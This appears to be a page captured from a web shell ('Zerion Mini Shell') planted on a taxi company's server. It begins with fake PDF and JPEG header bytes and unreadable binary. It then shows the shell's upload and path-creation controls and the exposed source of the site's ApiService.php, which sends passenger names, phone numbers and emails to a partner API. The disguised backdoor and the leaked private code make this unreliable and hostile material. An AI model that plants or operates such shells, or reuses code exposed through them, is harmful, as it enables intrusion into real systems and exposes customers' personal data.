%PDF- %PDF- ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
Mini Shell

Mini Shell

Direktori : /var/www/html/ctctaxi/app/Service/
Upload File :
Create Path :
Current File : /var/www/html/ctctaxi/app/Service/ApiService.php

<?php

namespace App\Service;

use App\Models\Api;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use App\Models\Request\Request;
use Illuminate\Support\Facades\Response;

class ApiService
{
    private $baseUrl;
    private $accessToken;
    private $refreshToken;
    private $signinKey;

    public function __construct()
    {
        $apiData = Api::first();
        $this->baseUrl = config('services.api_data.base_url');
        $this->accessToken = $apiData->access_token ?? null;
        $this->refreshToken = $apiData->refresh_token ?? null;
        $this->signinKey=config('services.api_data.signinKey');
    }

    public function login(array $credentials)
    {
        try {
            $response = Http::post("{$this->baseUrl}/driveiq/partners/authenticate", $credentials);

            if ($response->successful()) {
                $data = $response->json();
                $this->storeTokens($data['authResponse']['jwt'], $data['authResponse']['refreshToken']);
                return $data;
            } else {
                Log::error('Login request failed', [
                    'url' => "{$this->baseUrl}/driveiq/partners/authenticate",
                    'status' => $response->status(),
                    'body' => $response->body(),
                ]);
            }
        } catch (\Exception $e) {
            Log::error('Login request exception', ['message' => $e->getMessage()]);
        }

        return null;
    }

    public function postData($request)
    {
        try {
            $validatedData = $request->validate([
                'request_id' => 'required|string|exists:requests,id',
            ]);

            $requestId = $validatedData['request_id'];
            //"0255b7c8-738a-4aa6-80f2-6fe23b3af6e5"
            $req = Request::find($requestId);
            $driverRating = optional($req->requestRating->first())->driver_rating;

            $requestData = [
                "rideIdentifier" => $req->request_number,
                "lasdri" => '9887234013',// dummy data
                "ndl" => '988234013', // dummy data
                "departureCoordinates" => [
                    "longitude" => $req->requestPlace->pick_lng,
                    "latitude" => $req->requestPlace->pick_lat
                ],
                "arrivalCoordinates" => [
                    "longitude" => $req->requestPlace->drop_lng,
                    "latitude" => $req->requestPlace->drop_lat
                ],
                "passengerFullName" => $req->userDetail->name,
                "passengerPhoneNumber" => $req->userDetail->mobile,
                "passengerEmail" => $req->userDetail->email,
                "carRegistrationNumber" => $req->driverDetail->car_number,
                "driverRating" => $driverRating,
                "fare" => $req->request_eta_amount,
                "rideDistance" => $req->total_distance,
                "arrivalTimestamp" => isset($req->arrive_at) && !empty($req->arrive_at) ? $req->arrive_at : date('Y-m-d H:i:s'),
                "departureTimestamp" => $req->trip_start_time

            ];
            $response = $this->makeRequestWithToken($requestData);

            if ($response->status()===200) {
                return response()->json(['message' => 'Request sent successfully', 'data' => $response->json()], 200);
            } elseif ($response->status() === 401) {
                $this->refreshAccessToken();
                $response = $this->makeRequestWithToken($requestData);

                if ($response->status()===200) {
                    return response()->json(['message' => 'Request sent successfully', 'data' => $response->json()], 200);
                }
            }

            return response()->json(['message' => 'Failed to send request', 'error' => $response->body()], $response->status());
        } catch (\Exception $e) {
            Log::error('Error sending request', ['message' => $e->getMessage()]);
            return response()->json(['message' => 'An error occurred', 'error' => $e->getMessage()], 500);
        }
    }

    protected function makeRequestWithToken($requestData)
    {
    $response = Http::withHeaders([
        'Authorization' => "Bearer {$this->accessToken}",
        'Accept' => 'application/json',
    ])
    ->post("{$this->baseUrl}/driveiq/data-ingest", $requestData);
     return $response;

    }

    protected function refreshAccessToken()
    {
        try {
            $response = Http::post($this->baseUrl . '/refresh-token', [
                'refresh_token' => $this->refreshToken,
            ]);

            if ($response->ok()) {
                $tokens = $response->json();
                $this->storeTokens($tokens['jwt'], $tokens['refreshToken']);
                $this->accessToken = $tokens['jwt'];
            } else {
                throw new \Exception('Unable to refresh access token');
            }
        } catch (\Exception $e) {
            Log::error('Refresh token request exception', ['message' => $e->getMessage()]);
            throw $e;
        }
    }

    protected function storeTokens($accessToken, $refreshToken)
    {
        $api = Api::first();
        if ($api) {
            $api->update([
                'access_token' => $accessToken,
                'refresh_token' => $refreshToken
            ]);
        } else {
            Api::create([
                'access_token' => $accessToken,
                'refresh_token' => $refreshToken
            ]);
        }
        $this->accessToken = $accessToken;
        $this->refreshToken = $refreshToken;
    }
    public function receiveWebhook($request)
    {
        $webhookData = $request->getContent();
        $receivedSignature = $request->header('X-Webhook-Signature');
        $signingKey = $this->signinKey;
        $generatedSignature = $this->generateSignature($webhookData, $signingKey);

        if (hash_equals($generatedSignature, $receivedSignature)) {

            $payload = json_decode($webhookData, true);
            Log::info('Webhook received and verified: ' . json_encode($payload));


            if (isset($payload['driver']['flags'])) {
                foreach ($payload['driver']['flags'] as $flag) {
                    if ($flag['flagType'] === 'EXPIRED_DRIVERS_LICENCE') {
                        Log::warning('Driver has an expired license');
                    }
                }
            }

            if (isset($payload['vehicle']['flags'])) {
                foreach ($payload['vehicle']['flags'] as $flag) {
                    if ($flag['flagType'] === 'EXPIRED_OR_INVALID_LICENSE') {
                        Log::warning('Vehicle has an expired or invalid license');
                    }
                    if ($flag['flagType'] === 'EXPIRED_OR_INVALID_ROAD_WORTHINESS') {
                        Log::warning('Vehicle has expired or invalid road worthiness');
                    }
                }
            }

            return Response::json(['status' => 'ok'], 200);
        } else {
            Log::warning('Webhook signature verification failed');
            return Response::json(['error' => 'Unauthorized'], 401);
        }
    }

    private function generateSignature($data, $signingKey)
    {
        return hash_hmac('sha256', $data, $signingKey);
    }

}

Zerion Mini Shell 1.0